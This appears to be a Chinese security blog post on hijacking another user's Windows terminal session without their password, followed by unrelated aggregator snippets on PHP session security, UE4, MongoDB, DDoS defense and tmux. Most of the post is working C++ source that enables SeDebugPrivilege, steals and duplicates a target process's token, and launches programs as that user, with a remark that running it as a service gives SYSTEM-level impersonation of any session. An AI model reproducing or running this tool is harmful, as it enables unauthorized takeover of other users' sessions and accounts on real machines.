终端SESSION 下的攻击

使用场景:

    一台机器上有两个用户登录会话,想要查看并操作另一个会话但是又没有办法抓到管理员密码
   

使用权限:

    adminitrator 或者system权限

实验环境:

    1 : windows 2008 r2
    2 : administrator 账户session id = 2
    3 : catcher账户session id = 1
    4 : 在catcher账户模拟session 2 操作administrator(这里catcher权限太低需要提权)

实验效果:

  1:查询会话id以及对应会话运行程序

    

  2:在catcher账户中模拟administrator账户的seesion对adminstrator进行操作(这里catcher账户权限太低,所以做了个提权处理)

    

总结:

    如果做成服务启动的话,administrator权限下就可以获得system权限token,可以对任意session进行模拟。

源码:

#include <iostream>
#include <Cstring>
#include <windows.h>
#include <Wtsapi32.h>
#include <iphlpapi.h>
#include <WinBase.h>
#include <Tchar.h>
#include <Psapi.h>

#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib,"Psapi.lib")

using namespace std;

bool GetSessionDomain(DWORD dwSessionId, char domain[256])
{
    LPTSTR        pBuffer = NULL;
    DWORD        dwBufferLen; 

    BOOL bRet = WTSQuerySessionInformation(
                                    WTS_CURRENT_SERVER_HANDLE,
                                    dwSessionId,
                                    WTSDomainName,
                                    &pBuffer,
                                    &dwBufferLen);
     if ( !bRet )
     {
        printf("WTSQuerySessionInformation Failed!/n");
        return false;
     }

     lstrcpy(domain,pBuffer);
     WTSFreeMemory(pBuffer); 

     return true;
}

bool GetSessionUserName(DWORD dwSessionId, char username[256])
{
    LPTSTR        pBuffer    = NULL;
    DWORD        dwBufferLen; 

    BOOL        bRet = WTSQuerySessionInformation(
                                        WTS_CURRENT_SERVER_HANDLE,
                                        dwSessionId,
                                        WTSUserName,
                                        &pBuffer,
                                        &dwBufferLen);
    if ( !bRet )
    {
        printf("GetSessionUserName Failed!/n");
        return false;
    }

    lstrcpy(username ,pBuffer);
    WTSFreeMemory(pBuffer);

    return true;
}

/* 遍历所有session id 函数 */
int EnmumSessionId()
{
    WTS_SESSION_INFO    *sessionInfo = NULL;
    DWORD                sessionInfoCount;
    char                domain[256];
    char                username[256];
    unsigned int        userCount = 0;
    int                    num=0; 

    BOOL bRet = WTSEnumerateSessions(
                                WTS_CURRENT_SERVER_HANDLE,
                                0,
                                1,
                                &sessionInfo,
                                &sessionInfoCount);
    if ( !bRet )
    {
        return false;
    }

    for (int i = 0; i < sessionInfoCount;++i)
    {
         if( (sessionInfo[i].State == WTSActive) ||
                (sessionInfo[i].State == WTSDisconnected) )
         {
             printf("session %d information:\n",num++);
             printf("\tsessionInfo.SessionId=%d\n",sessionInfo[i].SessionId);
             GetSessionDomain(sessionInfo[i].SessionId, domain); //获得Session Domain
             printf("\tSession Domain = %s\n",domain);
             GetSessionUserName(sessionInfo[i].SessionId,username);
             printf("\tSession username = %s\n",username);
         }
    }

    // 获取当前sessionid
    DWORD dwSession = WTSGetActiveConsoleSessionId();
    printf("[*] Current Active SessionId = %d\n",dwSession); 

    // 释放内存
    WTSFreeMemory(sessionInfo);

    return 0;
}

/* 提升权限函数 */
BOOL EnableProcessPrivilege(LPCTSTR lpszPrivName, BOOL bEnable = TRUE)
{
        HANDLE hToken;
        TOKEN_PRIVILEGES tkp;
        BOOL bRet = FALSE;

        bRet = OpenProcessToken(
                        GetCurrentProcess(),
                        TOKEN_ALL_ACCESS_P,
                        &hToken);

        if (bRet == FALSE)
        {
                printf("OpenProcessToken error\r\n");
        }

        bRet = LookupPrivilegeValue(
                                NULL,
                                lpszPrivName,
                                &tkp.Privileges[0].Luid); //修改进程权限
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED; 

        bRet = AdjustTokenPrivileges(
                                hToken,
                                FALSE,
                                &tkp,
                                0,
                                (PTOKEN_PRIVILEGES)NULL,
                                0); //通知系统修改进程权限
        bRet = TRUE;

        CloseHandle(hToken);
        return bRet;
}

int main( int argc,char **argv )
{
    HANDLE    hTokenDup = NULL;
    DWORD dwSessionId = 0;
    HANDLE    hToken = NULL;
    HANDLE hNewToken = NULL;
    DWORD dwProcessId = atoi(argv[1]); 

    /* 提升当前进程权限 */
    if ( !EnableProcessPrivilege(SE_DEBUG_NAME, TRUE) )   //SE_DEBUG_NAME
    {
        printf("[*]:EnableProcessPrivilege failed\n");
        return false;
    }

    /* 通过pid打开进程 */
    HANDLE hProcess = OpenProcess(
                            PROCESS_QUERY_INFORMATION ,
                            FALSE,
                            dwProcessId); // 得到进程句柄
    if ( NULL == hProcess )
    {
        printf("[-]:OpenProcess GetLastError : %d\n",GetLastError());
        CloseHandle(hProcess);
    }

    /* 获得进程令牌 */
    BOOL bRet = OpenProcessToken(
                            hProcess,
                            TOKEN_ALL_ACCESS,
                            &hToken); // 打开进程令牌
    if ( FALSE == bRet )
    {
        printf("[-]:OpenProcessToken GetLastError : %d\n",GetLastError());
        CloseHandle(hToken);
        CloseHandle(hProcess);
    }

    /* 通过pid获取用户session id*/

    DWORD dwLength = 0;
    DWORD tsi = 0;

    if (!GetTokenInformation(
                        hToken,         // handle to the access token
                        TokenSessionId,    // get information about the TokenSessionId
                        &tsi,   // pointer to TokenSessionId buffer
                        0,              // size of buffer
                        &dwLength       // receives required buffer size
      ))
    {
        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
        {
            return false;
        }
    }

    if (!GetTokenInformation(
                        hToken,         // handle to the access token
                        TokenSessionId,    // get information about the TokenSessionId
                        &tsi,   // pointer to TokenSessionId buffer
                        dwLength,       // size of buffer
                        &dwLength       // receives required buffer size
         ))
    {
      return false;
    }

    printf("[*]:Patch sessionId = %d\n",tsi);
    printf("[*]:Patch processId = %d\n",dwProcessId);
    printf("[*]:Enable Process Privilege successful\n");

    /* 复制一个进程令牌,目的是为了修改session id属性,以便在其它session中创建进程 */
    BOOL bRes = DuplicateTokenEx(
                            hToken,
                            MAXIMUM_ALLOWED,
                            NULL,
                            SecurityIdentification,
                            TokenPrimary,
                            &hTokenDup);
    if ( !bRes )
    {
        CloseHandle(hTokenDup);
        CloseHandle(hToken);
    }

    if (!ImpersonateLoggedOnUser(hTokenDup))
    {
        printf("[-]:ImpersonateLoggedOnUser GetLastError: %d\n",GetLastError());
        CloseHandle(hTokenDup);
    }

    /* 把session id设置到备份的令牌中
    BOOL bsRet = SetTokenInformation(
                                hTokenDup,
                                TokenSessionId,
                                &tsi,                //&dwSessionId,
                                sizeof(DWORD)); 

    if ( !bsRet )
    {
        printf("[-]:SetTokenInformation GetLastError: %d\n",GetLastError());
        CloseHandle(hTokenDup);
        CloseHandle(hToken);
    }
    */
    /* 创建进程*/
    STARTUPINFO   si = {0};
    PROCESS_INFORMATION   pi = {0};
    char path[MAX_PATH];
    lstrcpy(path,argv[2]);  //参数2 

    ZeroMemory(&si, sizeof(STARTUPINFO));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    BOOL status =  CreateProcessAsUser(
                            hTokenDup,            // client‘s access token
                            NULL,   // file to execute
                            (char *)path,     // command line
                            NULL,              // pointer to process SECURITY_ATTRIBUTES
                            NULL,              // pointer to thread SECURITY_ATTRIBUTES
                            FALSE,             // handles are not inheritable
                            NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT ,   // creation flags
                            NULL,              // pointer to new environment block
                            NULL,              // name of current directory
                            &si,               // pointer to STARTUPINFO structure
                            &pi                // receives information about new process
                            );
    if ( !status )
    {
        printf("[-]:CreateProcessAsUser GetLastError:%d\n",GetLastError());
        RevertToSelf();
        CloseHandle(hTokenDup);
        CloseHandle(hToken);
        WTSFreeMemory(&si);
        WTSFreeMemory(&pi);
        ExitProcess(0);
    }
    printf("[*]:CreateProcess successful\n");
    RevertToSelf();
    CloseHandle(hTokenDup);
    CloseHandle(hToken);
    WTSFreeMemory(&si);
    WTSFreeMemory(&pi);
    ExitProcess(0);

    return 0;
}
时间: 2024-08-06 14:10:31

终端SESSION 下的攻击的相关文章

预防 Session 劫持与 Session 定置攻击

一.预防 Session 劫持 要求: ① 只允许通过 Cookie 来传递 SessionID ② 生成一个由 URL 传递的唯一标识作为 Session 的标记(token) 当请求同时包含有效的 SessionID 和 有效的 Session token 时,才能进一步访问该 Session 代码: $salt = 'mySessionToken'; $tokenstr = date('W').$salt; $token = md5($tokenstr); //① if(!isset($_

UE4实现VR下匕首攻击的方法

VR下实现匕首的功能,需求如下: 1,玩家可以拿着一把匕首攻击怪物,攻击的伤害,依据玩家攻击时的速度,和攻击到怪物的部位决定 2,攻击到怪物的位置会播放一个溅血的特效 3,在比较短暂的时间内,玩家攻击的动作必须要具有一定的幅度才会有伤害,也就是说,在攻击到怪物时,玩家持刀的手臂必须做一定距离的运动. 作此限制,是为了避免接触怪物即造成伤害,以至于玩家只需要不断的微小移动手臂就可以反复攻击 这里的几个难点如下: 一,如何判断匕首攻击到怪物的具体位置和部位呢? 首先想到的是通过设置Collison

在 mongodb 终端环境下写多行 javascript 代码、函数

工作中碰到一个问题,需要把某个 collection 中的某些符合条件的数据取出来,逐行处理其中某些字段.mongodb 终端下支持直接写 js 代码.函数,也可以运行 js 文件.1 首先需要设置 mongo 终端的代码编辑器,不设置的话只能输入一行代码文件,无法处理大段 js 逻辑 进入 mongo 终端后,输入 f={} 回车后,继续输入: edit f 未设置过相关系统变量的会收到如下提示: please define EDITOR as a JavaScript string or a

Linux/Mac里复制终端Session(像SecureCRT一样)

在你的登录账户下的.ssh文件夹新建一个文件:config cd ~/.ssh config的文件中,内容为: host * ControlMaster auto ControlPath ~/.ssh/master-%[email protected]%h:%p 在linux里面,像secureCRT一样,复制session,不需要重复输入密码

sqlplus的session下无法使用退格键的问题处理

可能用过sqlplus的人都知道,在sqlplus连接上Oracle后的session界面中是无法正常使用方向键和退格键的,这个是一个比较麻烦的一点,往往有一句sql写错了,不能修改还要重新开始十分的麻烦,用过MySQL的人一定不习惯这样,不过好在Linux系统下有提供2个很好用的工具能解决这个问题,它们就是rlwrap和readline,通过这两个工具启动sqlplus就能解决在session中编辑的问题和添加类似于系统的history的功能,当然安装的时候建议配置好yum源,记得要配置epe

防御Linux下DDOS攻击

linux服务器运营过程中可能会受到黑客攻击,常见的攻击方式有SYN,DDOS等.通过更换IP,查找被攻击的站点可能避开攻击,但是中断服务的时间比较长.比较彻底的解决方法是添置硬件防火墙.不过,硬件防火墙价格比较昂贵.在没有硬防的情况下,寻找软件代替是最直接的方法,比如用iptables,但 是iptables不能自动屏蔽,只能手动屏蔽.这里要介绍的就是一款能够自动屏蔽DDOS攻击者IP的软件:DDoS Deflate. 过滤出访问网页次数最多的IP: DDOS deflate是一个轻量级的脚本

Linux系统终端session保持服务工具-Tmux

Tmux是非常流行的终端复用软件,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机.相对于Screen,它更加先进:支持屏幕切分,而且具备丰富的命令行参数,使其可以灵活.动态的进行各种布局和操作.对于Tmux的使用,可以参考:Tmux终端复用详解 Tmux 可用于在一个终端窗口中运行多个终端会话.不仅如此,还可以通过 Tmux 使终端会话运行于后台或是按需接入.断开会话,这个功能非常实用. Tmux的使用场景1)可以某个程序在执行时一

开始ubuntu 14.04 的装X模式---终端模式下中文输入,听歌,上irc 开启framebuffer看电影 截图

先上图吧 卡卡的全是在tty1 下的操作,看电影,听歌,截图 ,看图  ,上irc 等等,相当适合在小白面前装屁! 需要安装的软件: 为了能正常显示中文:安装fbterm sudo apt-get install fbterm 因为ubuntu 14.04 的framebuffer 默认是开启的  是都开启 请查看 (ls /proc/|grep fb)所以不用做其他配置, 只要把用户加入video 组就可以了 否则会出现: "cann't open frame buffer device!&q

Mac终端item下出现bogon解决办法

1.打开终端突然出现@bogon,然后... 2.输入以下命令修改一下就好了- sudo scutil --set HostName localhost 改好后重启一下就好 原文地址:https://www.cnblogs.com/zhangbao3/p/12630574.html